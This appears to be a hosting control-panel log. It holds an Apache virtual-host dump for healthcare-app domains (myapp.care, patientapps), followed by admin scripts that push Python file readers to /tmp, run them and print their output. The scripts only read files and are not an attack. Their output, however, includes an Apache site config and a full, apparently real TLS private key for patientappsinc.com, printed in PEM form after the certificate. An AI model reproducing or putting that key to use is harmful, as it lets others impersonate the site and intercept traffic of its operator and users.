                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:30)
                 alias store.patientapps.com
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-24 10:40:01: 

PUT: /tmp/pkp280091

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/patientappsinc_store_com.conf')
    show_file('/etc/apache2/sites-available/patientappsinc_store_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 10:40:01: 

chmod 755 /tmp/pkp280091; /tmp/pkp280091; rm /tmp/pkp280091

2026-05-24 10:40:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/patientappsinc_store_com.conf	1736

<VirtualHost *:80>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com 
#shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com 
#shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/patientappsinc_store_com.conf	1736

<VirtualHost *:80>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com 
#shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.4-sii.sock|fcgi://localhost"
    </FilesMatch>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.patientappsinc.com
    ServerAlias	store.patientapps.com 
#shop.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt
    DocumentRoot	/var/www/patientappsinc_store
    <Directory /var/www/patientappsinc_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/store_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>







2026-05-24 10:40:01: 

PUT: /tmp/pkp818989

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-24 10:40:01: 

chmod 755 /tmp/pkp818989; /tmp/pkp818989; rm /tmp/pkp818989

2026-05-24 10:40:01: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/c5e63c14872d7481ec62b1c08329f801.crt	5437
45:8f:60:39:60:bd:88:d0:78:aa:23:19:83:41:90:23

-----BEGIN CERTIFICATE-----
MIIFPDCCBCSgAwIBAgISBYFNed52tTaevm2LwNfF/TLyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTI0MDUwMjExWhcNMjYwODIyMDUwMjEwWjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC+reO0D7TNtS2vFsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhp
ZL45Op4Ck/fz7GyaxxvKShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piN
NGGjQt8nmm349Lim6lyMPHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+il
eSZTiMGSiHpb0PLxEBQVvy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5
//te+NEO7WPgLCOgCZf2wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2a
M4m6/wxW26qH+fXTz7Lsy9x4udYHAgMBAAGjggJeMIICWjAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
jBYyYIzOMIf976lQjRHWp78qEAAwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzBbBgNVHREEVDBSgg9wYXRpZW50YXBwcy5jb22CEnBhdGllbnRh
cHBzaW5jLmNvbYITd3d3LnBhdGllbnRhcHBzLmNvbYIWd3d3LnBhdGllbnRhcHBz
aW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzExNS5jcmwwggELBgorBgEEAdZ5AgQCBIH8
BIH5APcAfgBGr4Y9Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ5YkkYC
AAgAAAUAB3qllgQDAEcwRQIhAMicLS+OKAhViwQjD2OQ+1TaFYqFdrnBgs/q54wk
ffJrAiAAkx/XinNg5PNAilF0IxmHE5vJX+6TjuB8PLaL/6qHZwB1AK9niDtXsE7d
j6bZfvYuqOuBCsdxYPAkXlXWDC/nhYc6AAABnliSRlUAAAQDAEYwRAIgfUzQ5gCf
8gR3Ur4wqaP/rOTnjfod7JdyRcxosJTYxZgCIEtSyBNR2hHy9+/FLA0Hs32DDp/w
UjJJwJMoVJuKFO3sMA0GCSqGSIb3DQEBCwUAA4IBAQCeIJutF1EUKpVI1/zXvzIt
1LPjHUCQFUJZcTqWsLzN9fLtz5o+jpAlPKZAbMumnRFlOlMPCcze7JmoEWgr9UkJ
q7NbqJWIOusc1TmlwXiW4fzzNRjwzwGA7NSioVa1ojSom4ZfSH3B3bLGYam2CFlV
k/p7hE95/veXjARpz7TGpIF0F5EXMMFZJMVOwcNYf/3zA19Ux6JNtYNaYfV48SDz
CbOvpW9StFRgLGd5JNYKCLrfg0zIa4FrJM6VLDhBIgUG1YnBDY8Kh0LFBlX2+cG+
4Ejy8Wc769NqcUWRmN3DkSDcWyx52fDXZWphKliBKMdQXNlh7OHglUWYo+oDfNTg
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC+reO0D7TNtS2v
FsMDPm8STWSdsE/H6/6CjwuhUnWDi+gKUNb94r8vuDhpZL45Op4Ck/fz7GyaxxvK
ShSVUgQHgE1ZCx1sqQBVdNJH5AZqZDdjpeA8XLFc4piNNGGjQt8nmm349Lim6lyM
PHCMtrd1PdPhopM5xF/BGGol6enl0s10KQTQJICDT+ileSZTiMGSiHpb0PLxEBQV
vy7XYKy7B5Y95yFTAWcKSDkqROuDTkOT7lqLhLur1iv5//te+NEO7WPgLCOgCZf2
wxs2WXF42gEL90Xzoj+Up4I8IjEf1vnnLktkJiQX2K2aM4m6/wxW26qH+fXTz7Ls
y9x4udYHAgMBAAECggEAASwBtVQ9YgTYZq0CWfaJxO8ZQ2xFDdPbRF7dscoyvERz
pP5M6a2L3fokg8HhiSCmdPW9/nQl45Xr1LtgQN3T0YMgbW2Zs+jnbB8IeBrJBeFf
FX3FkPce4Dl7cK66hOSRQByPggofkmefDLS89cYmkO1mR50WZLKRWGBA0sIdfdLi
LZnGwwEH01JL1V3O+ZJr6CKgdpyDrqTP+NEjTtIrAcUMtlyxwHrUDbPExAOYG/Sj
vV2Qgf1QOFCng+zsh8Zv0z6bBx/2Kz515cqFzqqZavVwiX+bqHnI+BAcj0ONgLK3
Rg1Rv5zJRAXn5JQhyVmSyuTtlIpIuUD2HnCmYz0QWQKBgQD+HtXkuxnPwJ2mr0F7
Z7bakHO8SPip7sOfi449k6PrrPWzY4J1ssytV3XddirITUYF6ZCGLc7/82ztXyfz
9HTz8ygeX/ZZqcBLXRLMI4j7qt9w57Pyp2b2yVSxbJ01mej9FS+fEPHEj4HHAS6L
AXLtz1WNj+fzu3g5KfJNjmagaQKBgQDAFu5iL2n0CzXnj8EkqgNavLybgqyyr6HS
KMmsVLtGSumsv83JEb23OkQ8stRIRQl6iofbpA3x47XB5BBxBZIOEY38LC9WVqzQ
DK/5VRwKODXPa6w7UdoIBFZ13dbY87MUKo2IGGRYexxBIabszdapyTYAbw3kEBkL
GQaz5Rb07wKBgQCRuYETD7A3kM9XHL1CVTFomNmlqXrfiAoqXc8NxLKFncOwQWo4
sHXrGXJ/sxnJj3aOQWgdafuAj0lxvdWdchv3IQNql8Efndal4RO8eMw+9bf4eQaa
KiFDeCTXMd/dMwuGxjVu1Dqwa1MSmbzk/cm4UeNPsKxk+qZwsXs/ul9jsQKBgQCY
+mo09a+69KakWN8n9OIhBEhszN/+mlMUjPk37m8K5yQ8OLCJnkBpyNSJRp47RAft
eKAD8x5L8t5QoPHbIOWVoLNkDkhQyUxtkH0g44AmP2fTXdvXjjNGyTWWPusY8tQ+
jjkTFuHreXgiAsvusWtw4lbId6knZQ6cwPyOjjb/LwKBgC5E4+W6389KtgluZxe2
LCkIaITvyiHpC2xw21XE45BPUk64tpeANJl5jDpwm7yAx9bktOiip3I1Os6Hc5KE
jkaAu8dTkKTyaNyNtJpChaEjRotQdnMueUMV+/BdZrziiD0NnyGmCeSFDEJydzT8
HdxsGB6UeepFoFw6EdlpDpDP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
